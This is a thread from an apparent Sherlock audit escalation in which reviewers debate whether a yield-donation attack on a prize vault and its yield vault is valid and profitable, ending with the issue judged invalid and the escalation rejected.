[0xspearmint1]

Not necessarily stuck in the YV if the attacker is deposited in the YV directly and owns shares in it.

here you can see the live vaults. I checked a few and they all had yield fee = 0.

[0x73696d616f]

The balance of the attacker is capped at a 1:1 ratio, so he will not own all the exceeding donated yield

[0xspearmint1]

He will if he is the only one other than the PV deposited in that YV.

[0x73696d616f]

Not sure what you mean. Let's say he had 100 balance in the PV and donated 1000 to the PV. The yield will be 1000, so the liquidation happens with a smoothing factor that leaves 200 + the 100 deposit. The user can only withdraw 100, so he lost 200, in the PV.

[0xspearmint1]

Your example is confusing since you do not specify PV and YV etc.

You are not considering if the attacker owns YV shares, then he will be attributed all the yield if he is the only shareholder in the YV.

[0x73696d616f]

So the donation is to the yield vault, sorry thought it was a donation to the prize vault.

Agree it is OOS then.

[0xspearmint1]

It is not OOS the root cause is within the PV, and the huge impact is to PV depositors.

[0x73696d616f]

The smoothing factor still stops this because the PV would have YV shares after the liquidation that the attacker could not withdraw due to the PV having at most 1:1 ratio when withdrawing.

These funds would be there to be liquidated after the tpda price drops, some time after, and anyone could liquidate them in return of prize tokens, so the attacker would lose then.

The 1:1 withdrawal ratio guarantees this attack is never profitable. And, it is very expensive due to the yield fee and smoothing factor.

[10xhash]

It is not OOS the root cause is within the PV, and the huge impact is to PV depositors.

What is the issue here? The prize vault depositors are supposed to get x amount of prizeTokens in exchange for the yield. Here they will still get it right because at the time of liquidation the attacker will have to pay x amount.

[WangSecurity]

I believe it still depends on the YV logic that will lead to PV having 0 shares in YV, while there are depositors in PV. Additionally, the comment above. Hence, planning to reject the escalation and leave the issue as it is.

[WangSecurity]

Result: Invalid Unique

[sherlock-admin4]

Escalations have been resolved successfully!

Escalation status:

• 0xjuaan: rejected